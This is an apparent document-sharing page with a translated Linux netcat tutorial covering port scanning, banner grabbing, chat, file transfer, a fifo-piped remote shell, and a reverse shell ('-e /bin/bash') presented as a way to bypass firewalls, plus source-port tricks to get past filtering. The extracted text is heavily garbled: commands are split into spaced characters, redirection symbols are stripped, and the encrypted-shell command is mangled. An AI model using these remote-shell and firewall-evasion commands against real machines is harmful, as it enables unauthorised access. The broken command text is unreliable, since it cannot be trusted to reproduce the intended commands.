已閱讀5頁(yè),還剩1頁(yè)未讀, 繼續(xù)免費(fèi)閱讀
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
Linux Netcat 命令 網(wǎng)絡(luò)工具中的瑞士軍 刀 netcat是網(wǎng)絡(luò)工具中的瑞士軍刀 它能通過(guò)TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù) 通過(guò)與其他工具 結(jié)合和重定向 你可以在腳本中以多種方式使用它 使用netcat命令所能完成的事情令人驚 訝 netcat所做的就是在兩臺(tái)電腦之間建立鏈接并返回兩個(gè)數(shù)據(jù)流 在這之后所能做的事就看你 的想像力了 你能建立一個(gè)服務(wù)器 傳輸文件 與朋友聊天 傳輸流媒體或者用它作為其它 協(xié)議的獨(dú)立客戶端 下面是一些使用netcat的例子 A 172 31 100 7 B 172 31 100 23 Linux netcat 命令實(shí)例 1 端口掃描 端口掃描經(jīng)常被系統(tǒng)管理員和黑客用來(lái)發(fā)現(xiàn)在一些機(jī)器上開放的端口 幫助他們識(shí)別系統(tǒng)中 的漏洞 n c z v n 1 7 2 3 1 1 0 0 7 2 1 2 5 可以運(yùn)行在TCP或者UDP模式 默認(rèn)是TCP u參數(shù)調(diào)整為udp z 參數(shù)告訴netcat使用0 IO 連接成功后立即關(guān)閉連接 不進(jìn)行數(shù)據(jù)交換 謝謝 jxing 指點(diǎn) v 參數(shù)指使用冗余選項(xiàng) 譯者注 即詳細(xì)輸出 n 參數(shù)告訴netcat 不要使用DNS反向查詢IP地址的域名 這個(gè)命令會(huì)打印21到25 所有開放的端口 Banner是一個(gè)文本 Banner是一個(gè)你連接的服務(wù) 發(fā)送給你的文本信息 當(dāng)你試圖鑒別漏洞或者服務(wù)的類型和版本的時(shí)候 Banner信息是非常 有用的 但是 并不是所有的服務(wù)都會(huì)發(fā)送banner 一旦你發(fā)現(xiàn)開放的端口 你可以容易的使用netcat 連接服務(wù)抓取他們的banner n c v 1 7 2 3 1 1 0 0 7 2 1 netcat 命令會(huì)連接開放端口21并且打印運(yùn)行在這個(gè)端口上服務(wù)的banner信息 Chat Server 假如你想和你的朋友聊聊 有很多的軟件和信息服務(wù)可以供你使用 但是 如果你沒(méi)有這么 奢侈的配置 比如你在計(jì)算機(jī)實(shí)驗(yàn)室 所有的對(duì)外的連接都是被限制的 你怎樣和整天坐在 隔壁房間的朋友溝通那 不要郁悶了 netcat提供了這樣一種方法 你只需要?jiǎng)?chuàng)建一個(gè)Chat 服務(wù)器 一個(gè)預(yù)先確定好的端口 這樣子他就可以聯(lián)系到你了 Server n c l 1 5 6 7 netcat 命令在1567端口啟動(dòng)了一個(gè)tcp 服務(wù)器 所有的標(biāo)準(zhǔn)輸出和輸入會(huì)輸出到該端口 輸 出和輸入都在此shell中展示 Client n c 1 7 2 3 1 1 0 0 7 1 5 6 7 不管你在機(jī)器B上鍵入什么都會(huì)出現(xiàn)在機(jī)器A上 3 文件傳輸 大部分時(shí)間中 我們都在試圖通過(guò)網(wǎng)絡(luò)或者其他工具傳輸文件 有很多種方法 比如 FTP SCP SMB等等 但是當(dāng)你只是需要臨時(shí)或者一次傳輸文件 真的值得浪費(fèi)時(shí)間來(lái)安裝配 置一個(gè)軟件到你的機(jī)器上嘛 假設(shè) 你想要傳一個(gè)文件file txt 從A 到B A或者B都可以作為 服務(wù)器或者客戶端 以下 讓A作為服務(wù)器 B為客戶端 Server n c l 1 5 6 7 f i l e t x t 這里我們創(chuàng)建了一個(gè)服務(wù)器在A上并且重定向netcat的輸入為文件file txt 那么當(dāng)任何成功連 接到該端口 netcat會(huì)發(fā)送file的文件內(nèi)容 在客戶端我們重定向輸出到file txt 當(dāng)B連接到A A發(fā)送文件內(nèi)容 B保存文件內(nèi)容到file txt 沒(méi)有必要?jiǎng)?chuàng)建文件源作為Server 我們也可以相反的方法使用 像下面的我們發(fā)送文件從B到 A 但是服務(wù)器創(chuàng)建在A上 這次我們僅需要重定向netcat的輸出并且重定向B的輸入文件 B作為Server Server n c l 1 5 6 7 f i l e t x t Client n c 1 7 2 3 1 1 0 0 2 3 1 5 6 7 f i l e t x t 使用mcrypt工具加密數(shù)據(jù) 客戶端 m c r y p t f l u s h b a r e F q m e c b 1 n c l 1 5 6 7 t m p t m p f i f o 這里我們創(chuàng)建了一個(gè)fifo文件 然后使用管道命令把這個(gè)fifo文件內(nèi)容定向到shell 2 1中 是用來(lái)重定向標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出 然后管道到netcat 運(yùn)行的端口1567上 至此 我們 已經(jīng)把netcat的輸出重定向到fifo文件中 說(shuō)明 從網(wǎng)絡(luò)收到的輸入寫到fifo文件中 cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令 sh命令進(jìn)程受到輸入并把它寫回到netcat netcat 通過(guò)網(wǎng)絡(luò)發(fā)送輸出到client 至于為什么會(huì)成功是因?yàn)楣艿朗姑钇叫袌?zhí)行 fifo文件用來(lái)替代正常文件 因?yàn)閒ifo使讀取 等待而如果是一個(gè)普通文件 cat命令會(huì)盡快結(jié)束并開始讀取空文件 在客戶端僅僅簡(jiǎn)單連接到服務(wù)器 Client n c n 1 7 2 3 1 1 0 0 7 1 5 6 7 你會(huì)得到一個(gè)shell提示符在客戶端 反向shell 反向shell是指在客戶端打開的shell 反向shell這樣命名是因?yàn)椴煌谄渌渲?這里服務(wù)器 使用的是由客戶提供的服務(wù) 服務(wù)端 n c l 1 5 6 7 在客戶端 簡(jiǎn)單地告訴netcat在連接完成后 執(zhí)行shell 客戶端 n c 1 7 2 3 1 1 0 0 7 1 5 6 7 e b i n b a s h 現(xiàn)在 什么是反向shell的特別之處呢 反向shell經(jīng)常被用來(lái)繞過(guò)防火墻的限制 如阻止入站連接 例如 我有一個(gè)專用IP地址為 172 31 100 7 我使用代理服務(wù)器連接到外部網(wǎng)絡(luò) 如果我想從網(wǎng)絡(luò)外部訪問(wèn) 這臺(tái)機(jī)器如 1 2 3 4的shell 那么我會(huì)用反向外殼用于這一目的 10 指定源端口 假設(shè)你的防火墻過(guò)濾除25端口外其它所有端口 你需要使用 p選項(xiàng)指定源端口 服務(wù)器端 n c l 1 5 6 7 客戶端 n c 1 7 2 3 1 1 0 0 7 1 5 6 7 p 2 5 使用1024以內(nèi)的端口需要root權(quán)限 該命令將在客戶端開啟25端口用于通訊 否則將使用隨機(jī)端口 11 指定源地址 假設(shè)你的機(jī)器有多個(gè)地址 希望明確指定使用哪個(gè)地址用于外部數(shù)據(jù)通訊 我們可以在 netcat中使用 s選項(xiàng)指定ip地址 服務(wù)器端 n c u l 1 5 6 7 f i l e t x t 該命令將綁定地址172 31 100 5 這僅僅是使用netcat的一些示例 其它用途有 使用 t選項(xiàng)模擬Telnet客戶端 HTTP客戶端用于下載文件 連接到郵件服務(wù)器 使用SMTP協(xié)議檢查郵件 使用ffmpeg截取屏幕并通過(guò)流式傳輸分享 等等 其它更多用途
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 1秋天(說(shuō)課稿)-2024-2025學(xué)年統(tǒng)編版(2024)語(yǔ)文一年級(jí)上冊(cè)
- 2024年綠色建筑評(píng)估與改進(jìn)服務(wù)合同
- 2024校企合作電商企業(yè)實(shí)習(xí)實(shí)訓(xùn)基地協(xié)議3篇
- 18 《囊螢夜讀》(說(shuō)課稿)2023-2024學(xué)年統(tǒng)編版語(yǔ)文四年級(jí)下冊(cè)
- 2024版專項(xiàng)宣傳材料采購(gòu)協(xié)議模板版B版
- 企業(yè)員工安全生產(chǎn)教育培訓(xùn)
- 福建省南平市五夫中學(xué)高三地理上學(xué)期期末試卷含解析
- 福建省南平市渭田中學(xué)2021年高二語(yǔ)文下學(xué)期期末試卷含解析
- 2024年高端木器定制加工勞務(wù)分包合同模板3篇
- 2024年跨境電商配送條款3篇
- 公路橋梁工程施工安全風(fēng)險(xiǎn)評(píng)估指南
- 2024-2030年全球及中國(guó)通過(guò)硅通孔(TSV)技術(shù)行業(yè)市場(chǎng)現(xiàn)狀供需分析及市場(chǎng)深度研究發(fā)展前景及規(guī)劃可行性分析研究報(bào)告
- PEP新人教版小學(xué)英語(yǔ)單詞三到五年級(jí)
- 拆除豬場(chǎng)補(bǔ)償協(xié)議書模板
- 2024年秋季學(xué)期新Join In劍橋版(三年級(jí)起)英語(yǔ)三年級(jí)上冊(cè)課件 Supplementary activities Unit 6
- 2024年新人教版道德與法治七年級(jí)上冊(cè)全冊(cè)教案(新版教材)
- 2024年高中生物新教材同步選擇性必修第三冊(cè)學(xué)習(xí)筆記第3章 本章知識(shí)網(wǎng)絡(luò)
- 初中物理期末復(fù)習(xí)+專題5+綜合能力題+課件++人教版物理九年級(jí)全一冊(cè)
- 《創(chuàng)傷失血性休克中國(guó)急診專家共識(shí)(2023)》解讀課件
- 2024年國(guó)開電大 統(tǒng)計(jì)學(xué)原理 形成性考核冊(cè)答案
- 藥物流行病學(xué)教學(xué)大綱
評(píng)論
0/150
提交評(píng)論